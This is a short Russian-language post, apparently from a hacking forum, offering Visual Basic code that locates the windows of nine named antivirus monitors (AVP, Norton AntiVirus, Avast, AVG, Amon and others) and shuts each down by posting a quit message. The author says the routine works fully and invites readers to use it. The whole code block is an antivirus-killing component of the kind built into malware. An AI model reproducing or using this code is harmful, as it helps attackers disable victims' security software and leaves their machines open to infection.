|
|
Решил написать я маленькую процедуру на vb, которая бы убивала av мониторы в памяти.
Все получилось и она работает 100%. Я написал 2 версий этой процедуры одна убивала av
через SendMessageA, а другая через PostMessageA. Но решил все таки опубликовать метод
через PostMessageA он меньше. Юзайте......
' win32 api которые нужны будкт в этой процедуре.
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
' константа выхода
Const WM_QUIT = &H10
' процедура уничтожения av мониторов и сканеров в памяти.
Sub az()
' список из 9 мониторов которые мы хотим удалить из памяти.
For c = 1 To 9
If c = 1 Then av$ = "AVP Monitor"
If c = 2 Then av$ = "Amon Antivirus Monitor"
If c = 3 Then av$ = "Norton AntiVirus"
If c = 4 Then av$ = "AVP Монитор"
If c = 5 Then av$ = "Antivэrusov¤ monitor Amon"
If c = 6 Then av$ = "Amon Antivirus Monitor"
If c = 7 Then av$ = "Avast32 -- Rezidentnэ podpora"
If c = 8 Then av$ = "AVG Control Center"
If c = 9 Then av$ = "AVP Office Guard"
' поиск окна с выше перечисленным именем
hW = FindWindow(vbNullString, av$ & Chr(0))
' киляем монитор
z = PostMessage(hW, WM_QUIT, 0, 0)
' продолжим цикл
Next c
' конец
End Sub
Вот и все...
|
|